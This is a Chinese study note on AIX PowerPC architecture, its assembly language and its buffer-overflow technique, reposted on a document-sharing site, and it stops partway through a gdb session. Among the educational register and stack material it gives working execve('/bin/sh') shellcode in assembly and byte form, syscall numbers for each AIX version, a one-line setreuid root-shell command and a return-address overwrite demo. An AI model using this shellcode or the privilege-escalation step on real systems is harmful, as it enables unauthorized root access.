AIX PowerPC体系结构及其溢出技术学习笔记.docx
- 文档编号:23150660
- 上传时间:2023-05-08
- 格式:DOCX
- 页数:32
- 大小:25.49KB
AIX PowerPC体系结构及其溢出技术学习笔记.docx
《AIX PowerPC体系结构及其溢出技术学习笔记.docx》由会员分享,可在线阅读,更多相关《AIX PowerPC体系结构及其溢出技术学习笔记.docx(32页珍藏版)》请在冰豆网上搜索。
AIXPowerPC体系结构及其溢出技术学习笔记
AIXPowerPC体系结构及其溢出技术学习笔记
2011年12月12日
11:
40
一、熟悉PowerPC体系及其精简指令集计算
PowerPC体系结构是RISC(精简指令集计算),定义了200多条指令。
PowerPC之所以是RISC,原因在于大部分指令在一个单一的周期内执行,而且是定长的32位指令,通常只执行一个单一的操作(比如将内存加载到寄存器,或者将寄存器数据存储到内存)。
差不多有12种指令格式,表现为5类主要的指令:
1、分支(branch)指令
2、定点(fixed-point)指令
3、浮点(floating-point)指令
4、装载和存储指令
5、处理器控制指令
PowerPC的应用级寄存器分为三类:
通用寄存器(general-purposeregister,GPR)、浮点寄存器(floating-pointregister[FPR]和浮点状态与控制寄存器[Floating-PointStatusandControlRegister,FPSCR])和专用寄存器(special-purposeregister,SPR)。
gdb里的inforegisters能看到38个寄存器,下面主要介绍这几个常用的寄存器:
通用寄存器的用途:
r0在函数开始(functionprologs)时使用。
r1堆栈指针,相当于ia32架构中的esp寄存器,idapro把这个寄存器反汇编标识为sp。
r2内容表(toc)指针,idapro把这个寄存器反汇编标识为rtoc。
系统调用时,它包含系统调用号。
r3作为第一个参数和返回地址。
r4-r10函数或系统调用开始的参数。
r11用在指针的调用和当作一些语言的环境指针。
r12它用在异常处理和glink(动态连接器)代码。
r13保留作为系统线程ID。
r14-r31作为本地变量,非易失性。
专用寄存器的用途:
lr链接寄存器,它用来存放函数调用结束处的返回地址。
ctr计数寄存器,它用来当作循环计数器,会随特定转移操作而递减。
xer定点异常寄存器,存放整数运算操作的进位以及溢出信息。
msr机器状态寄存器,用来配置微处理器的设定。
cr条件寄存器,它分成8个4位字段,cr0-cr7,它反映了某个算法操作的结果并且提供条件分支的机制。
寄存器r1、r14-r31是非易失性的,这意味着它们的值在函数调用过程保持不变。
寄存器r2也算非易失性,但是只有在调用函数在调用后必须恢复它的值时才被处理。
寄存器r0、r3-r12和特殊寄存器lr、ctr、xer、fpscr是易失性的,它们的值在函数调用过程中会发生变化。
此外寄存器r0、r2、r11和r12可能会被交叉模块调用改变,所以函数在调用的时候不能采用它们的值。
条件代码寄存器字段cr0、cr1、cr5、cr6和cr7是易失性的。
cr2、cr3和cr4是非易失性的,函数如果要改变它们必须保存并恢复这些字段。
在AIX上,svca指令(sc是PowerPC的助记符)用来表示系统调用,r2寄存器指定系统调用号,r3-r10寄存器是给该系统调用的参数。
在执行系统调用指令之前有两个额外的先决条件:
LR寄存器必须保存返回系统调用地址的值并且在系统调用前执行crorccr6,cr6,cr6指令。
二、学习AIXPowerPC汇编
由于对AIXPowerPC的汇编很不熟,所以借助gcc的-S来学习一下AIX的汇编。
二进制的gcc可以从http:
//aixpdslib.seas.ucla.edu/下载到。
先写一个最小的C程序:
/*setuid.c
*
*LearnAIXPowerPCassemble
*/
#include;
intmain()
{
setuid(0);
}
用gcc的-S选项编译一下:
bash-2.04$gcc-Ssetuid.c
在当前目录得到setuid.s:
.file"setuid.c"
.toc
.csect.text[PR]
gcc2_compiled.:
__gnu_compiled_c:
.align2
.globlmain
.globl.main
.csectmain[DS]
main:
.long.main,TOC[tc0],0
.csect.text[PR]
.main:
.extern__mulh
.extern__mull
.extern__divss
.extern__divus
.extern__quoss
.extern__quous
mflr0
stw31,-4
(1)
stw0,8
(1)
stwu1,-64
(1)
mr31,1
bl.__main
cror31,31,31
li3,0
bl.setuid
cror31,31,31
L..2:
lwz1,0
(1)
lwz0,8
(1)
mtlr0
lwz31,-4
(1)
blr
LT..main:
.long0
.byte0,0,32,97,128,1,0,1
.longLT..main-.main
.short4
.byte"main"
.byte31
_section_.text:
.csect.data[RW],3
.long_section_.text
经过精简,发现如下这样的格式就足够了:
.globl.main
.csect.text[PR]
.main:
mflr0
stw31,-4
(1)
stw0,8
(1)
stwu1,-64
(1)
mr31,1
bl.__main
cror31,31,31
li3,0
bl.setuid
cror31,31,31
L..2:
lwz1,0
(1)
lwz0,8
(1)
mtlr0
lwz31,-4
(1)
blr
三、学习AIXPowerPC的shellcode
B-r00t的PowerPC/OSX(Darwin)ShellcodeAssembly写的非常通俗易懂,只可惜是OSX系统,不过现在我们也可以依样画葫芦了:
bash-2.04$catsimple_execve.s
.globl.main
.csect.text[PR]
.main:
xor.%r5,%r5,%r5#把r5寄存器清空,并且在cr寄存器设置相等标志
bnel.main#如果没有相等标志就进入分支并且把返回地址保存到lr寄存器,这里不会陷入死循环
mflr%r3#等价于mfsprr3,8,把lr寄存器的值拷贝到r3。
这里r3寄存器的值就是这条指令的地址
addi%r3,%r3,32#上一条指令到/bin/sh字符串有8条指令,现在r3是/bin/sh字符串开始的地址
stw%r3,-8(%r1)#argv[0]=string把r3写入堆栈
stw%r5,-4(%r1)#argv[1]=NULL把0写入堆栈
subi%r4,%r1,8#r4指向argv[]
li%r2,3#AIX4.3的execve中断号是3
crorc%cr6,%cr6,%cr6#这个环境不加这条指令也能成功,lsd和IBMAixPowerPCAssembler的svc指令介绍都提到成功执行系统调用的前提是一个无条件的分支或CR指令。
这条指令确保是CR指令。
svca0#execve(r3,r4,r5)
string:
#execve(path,argv[],NULL)
.asciz"/bin/sh"
bash-2.04$gcc-osimple_execvesimple_execve.s
bash-2.04$./simple_execve
$
正确执行了execve,用objdump查看一下它的opcode:
bash-2.04$objdump-dsimple_execve|more
0000000010000308;:
10000308:
7ca52a79xor.r5,r5,r5
1000030c:
4082fffdbnel10000308;
10000310:
7c6802a6mflrr3
10000314:
38630020calr3,32(r3)
10000318:
9061fff8str3,-8(r1)
1000031c:
90a1fffcstr5,-4(r1)
10000320:
3881fff8calr4,-8(r1)
10000324:
38400003lilr2,3
10000328:
4cc63342crorc6,6,6
1000032c:
44000002svca0
10000330:
2f62696ecmpi6,r2,26990
10000334:
2f736800cmpi6,r19,26624
可以看到有好几条指令的opcode包含了0,这对于strcpy等字符串操作函数导致的溢出会被截断,所以需要编码或者相应指令的替换。
不过我们注意到svca指令中间两个字节包含了0,幸好这两个字节是保留字段,并没有被使用,可以用非0字节代替。
PowerPC空指令nop的opcode是0x60000000,后面三个字节的0也是保留项,也可以用0x60606060来代替。
lsd提供了一个可用的shellcode:
/*shellcode.c
*
*rippedfromlsd
*/
charshellcode[]=/*12*4+8bytes*/
"\x7c\xa5\x2a\x79"/*xor.r5,r5,r5*/
"\x40\x82\xff\xfd"/*bnel;*/
"\x7f\xe8\x02\xa6"/*mflrr31*/
"\x3b\xff\x01\x20"/*calr31,0x120(r31)*/
"\x38\x7f\xff\x08"/*calr3,-248(r31)*/
"\x38\x9f\xff\x10"/*calr4,-240(r31)*/
"\x90\x7f\xff\x10"/*str3,-240(r31)*/
"\x90\xbf\xff\x14"/*str5,-236(r31)*/
"\x88\x5f\xff\x0f"/*lbzr2,-241(r31)*/
"\x98\xbf\xff\x0f"/*stbr5,-241(r31)*/
"\x4c\xc6\x33\x42"/*crorccr6,cr6,cr6*/
"\x44\xff\xff\x02"/*svca*/
"/bin/sh"
"\x03"
;
intmain(void)
{
intjump[2]={(int)shellcode,0};
((*(void(*)())jump)());
}
编译后,用IDAPro反汇编,在Nameswindow点击shellcode,并且按c强制反汇编:
.data:
200006D8shellcode:
#CODEXREF:
.data:
200006DC_p
.data:
200006D8#DATAXREF:
.data:
shellcode_TC_o
.data:
200006D87CA52A79xor.r5,r5,r5#把r5寄存器清空,并且在cr寄存器设置相等标志
.data:
200006DC4082FFFDbnelshellcode#如果没有相等标志就进入分支并且把返回地址保存到lr寄存器,这里不会陷入死循环
.data:
200006E07FE802A6mflrr31#等价于mfsprr31,8,这里把lr寄存器的值拷贝到r31
.data:
200006E43BFF0120addir31,r31,0x120#r31等于.data:
20000800
.data:
200006E8387FFF08subir3,r31,0xF8#r3等于.data:
20000708
.data:
200006EC389FFF10subir4,r31,0xF0#r4等于.data:
20000710
.data:
200006F0907FFF10stwr3,-0xF0(r31)#把地址.data:
20000708放到.data:
20000710
.data:
200006F490BFFF14stwr5,-0xEC(r31)#把0放到.data:
20000714
.data:
200006F8885FFF0Flbzrtoc,-0xF1(r31)#读入execve的中断号到r2寄存器
.data:
200006FC98BFFF0Fstbr5,-0xF1(r31)#.data:
2000070F写入一个字节0
.data:
200007004CC63342crorc4*cr1+eq,4*cr1+eq,4*cr1+eq#ConditionRegisterORwithComlement
.data:
20000700#哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
.data:
2000070444.byte0x44#execve(r3,r4,r5)
.data:
20000705FF.byte0xFF#execve(path,argv[],NULL)
.data:
20000706FF.byte0xFF
.data:
2000070702.byte2
.data:
200007082F.byte0x2F#/
.data:
2000070962.byte0x62#b
.data:
2000070A69.byte0x69#i
.data:
2000070B6E.byte0x6E#n
.data:
2000070C2F.byte0x2F#/
.data:
2000070D73.byte0x73#s
.data:
2000070E68.byte0x68#h
.data:
2000070F03.byte3
至此,我们了解了AIXPowerPC下如何简单的调试shellcode。
有一个很大的问题,AIX的各系统调用号随系统版本不断变化,这给写通用shellcode造成很大的困难,watercloud整理过各系统版本一部分系统调用号[7]:
Aix5.1seteuid0xb6setreuid0xb7execve0x5
Aix4.3seteuid0x92setreuid0x96execve0x3
Aix4.3.3seteuid0x92/0x93setuid0x93/0x94setreuid0x96/0x97execve0x4/0x3
Aix4.2setuid0x71execve0x2
Aix4.3setregid:
?
?
Aix4.3.3setregid:
248/247
Aix5.1setregid:
?
?
Aix5.2execve:
?
?
setreuid:
?
?
setregid:
?
?
这个表并不是很全,有环境的朋友可以继续修改补全。
另外Aix提供了一个syscall命令,
如果我们拿到了euid=0就权限可以这样使得uid=0了:
/usr/bin/syscallsetreuid00\;execve"/bin/sh"
四、学习AIXPowerPC的溢出技术
要学习溢出技术就必须了解堆栈结构,PowerPC的堆栈结构和ia32有很大不同,PowerPC没有类似ia32里ebp这个指针,它只使用r1寄存器把整个堆栈构成一个单向链表,其增长方向是从高地址到低地址,而本地变量的增长方向也是从低地址到高地址的,这就给溢出获得控制的技术提供了保证。
32位PowerPC的堆栈结构如下图:
.调用前的堆栈..调用后的堆栈.
....
||||
+----------------+-+----------------+-
|Parameterarea|||Parameterarea||
+----------------++-调用函数+----------------++-调用函数
|Linkagearea|||Linkagearea||
SP--->;+----------------+-+----------------+-
|堆栈增长方向||Savedregisters||
.|.+----------------+|
.v.|Localvariables||
+----------------++-被调函数
|Parameterarea||
+----------------+|
|Linkagearea||
SP--->;+----------------+-
|堆栈增长方向|
.|.
.v.
每个PowerPC的栈帧数据包含4个部分:
链接区、参数区、本地变量和寄存器区。
链接区保存了被调函数和调用函数的一些值,它的结构如下:
+24+----------------+
|SavedTOC|
+20+----------------+
|Reserved|
+16+----------------+
|Reserved|
+12+----------------+
|SavedLR|
+8+----------------+
|SavedCR|
+4+----------------+
|SavedSP|
SP--->;+----------------+
被调函数的链接寄存器(LR)保存到8(SP)。
被调函数可能把条件寄存器(CR)保存到4(SP),如果链接寄存器已经保存,这也就没有必要了。
堆栈指针永远保存调用函数的栈帧,这样被调函数就可以找到调用函数的参数区,不过这也意味着PowerPC不可能有push和pop这样对堆栈的操作。
全局链接代码会把TOC指针保存到20(SP)的地方。
参数区用来传递其它被调函数的参数。
当前函数的参数是通过上一函数(调用者)的参数区和被设计用来传递参数的通用寄存器中获取。
如果本地变量太多,无法在非易失性寄存器中存放,那么就会使用基于堆栈的本地变量。
它的大小在编译的时候确定,是不可修改的。
寄存器区包含非易失性寄存器的值。
当被调函数使用这些寄存器作为本地变量,而调用函数可能会用到同样的寄存器,那么这些寄存器的信息需要在调用函数修改它们之前保存。
当然,被调函数返回的时候需要恢复这些寄存器的值。
ia32中当函数返回时,一般都有如下三条指令:
movesp,ebp;堆栈指针esp指向前一个栈帧
popebp
ret;执行esp+4保存的返回地址
AIXPowerPC中当函数返回时,一般有如下几条指令:
lwzr1,0(r1)#堆栈指针r1指向前一个栈帧
lwzr0,8(r1)#r0等于堆栈里保存的lr值
mtlrr0#lr=r0
lwzr31,-4(r1)#
blr#跳到lr执行
可以看到虽然AIXPowerPC的堆栈结构和ia32的不同,但是溢出技术的手法是一样的。
ia32是覆盖当前ebp+4保存的返回地址,当函数返回的时候就会跳到我们指定的地址执行;AIXPowerPC要覆盖到下一个栈帧保存lr的地址,当函数返回的时候也会跳到我们指定的地址执行。
文字描述无法实际理解,自己动手一下才会真正领会,下面用一个简单的程序走一遍流程:
bash-2.04$catsimple_overflow.c
/*simple_overflow.c
*
*Simpleprogramtodemonstratebufferoverflows
*onthePowerPCarchitecture.
*/
#include;
#include;
charlargebuff[]=
"1234512345123456=PRESERVEDSPACE=ABCD";
intmain(void)
{
charsmallbuff[16];
strcpy(smallbuff,largebuff);
}
bash-2.04$gcc-osimple_overflowsimple_overflow.c
bash-2.04$gdbsimple_overflow
GNUgdb5.0
Copyright2000FreeSoftwareFoundation,Inc.
GDBisfreesoftware,coveredbytheGNUGeneralPublicLicense,andyouare
welcometochangeitand/ordistributecopiesofitundercertainconditions.
Type"showcopying"toseetheconditions.
ThereisabsolutelynowarrantyforGDB.Type"showwarranty"fordetails.
ThisGDBwasconfiguredas"powerpc-ibm-aix4.3.2.0"...
(gdb)r
Startingprogram:
/home/san/simple_overflow
ProgramreceivedsignalSIGSEGV,Segmentationfault.
0x41424344in?
?
()from(unknownloadmodule)
(gdb)ireg
r00x414243441094861636
r10x2ff22ba0804400032
r20x200007905
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- AIX PowerPC体系结构及其溢出技术学习笔记 PowerPC 体系结构 及其 溢出 技术 学习 笔记